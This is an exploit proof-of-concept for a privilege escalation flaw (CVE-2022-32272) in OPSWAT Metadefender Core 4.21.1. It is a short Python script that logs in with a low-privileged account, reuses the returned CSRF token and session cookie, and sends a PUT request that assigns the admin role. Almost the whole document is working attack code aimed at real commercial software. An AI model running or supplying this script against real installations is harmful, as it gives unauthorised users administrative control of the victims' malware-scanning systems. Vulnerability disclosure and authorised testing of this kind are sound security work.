OPSWAT Metadefender Core - Privilege Escalation

# Exploit Title: OPSWAT Metadefender Core - Privilege Escalation
# Date: 24 October 2022
# Exploit Author: Ulascan Yildirim
# Vendor Homepage: https://www.opswat.com/
# Version: Metadefender Core 4.21.1
# Tested on: Windows / Linux
# CVE : CVE-2022-32272
# =============================================================================
# This is a PoC for the Metadefender Core Privilege escalation vulnerability.
# To use this PoC, you need a Username & Password.
# The OMS_CSRF_TOKEN allows users to execute commands with higher privileges.
# =============================================================================

#!/usr/bin/env python3
import requests
import json
from getpass import getpass

url = input("Enter URL in this Format (http://website.com): ")
username = input("Username: ")
password = getpass("Password: ")

url_login = url+'/login'
url_user = url+'/user'
logindata = {"user":username,"password":password}

## Get the OMS_CSRF_TOKEN & session cookie
response_login = requests.post(url_login, json = logindata).json()
json_str = json.dumps(response_login)
resp = json.loads(json_str)
token = resp['oms_csrf_token']
session = resp['session_id']

## Prepare Header & Cookie
headers = {
    "oms_csrf_token": token,
}
cookie = {
    "session_id_ometascan": session
}

## Set Payload to get Admin role
payload = '{"roles": ["1"]}'

response = requests.put(url_user,headers=headers,cookies=cookie,data=payload)
print("Response status code: "+str(response.status_code))

if response.status_code == 200:
    print("Expolit Successful!")
else:
    print("Exploit Unsuccessful")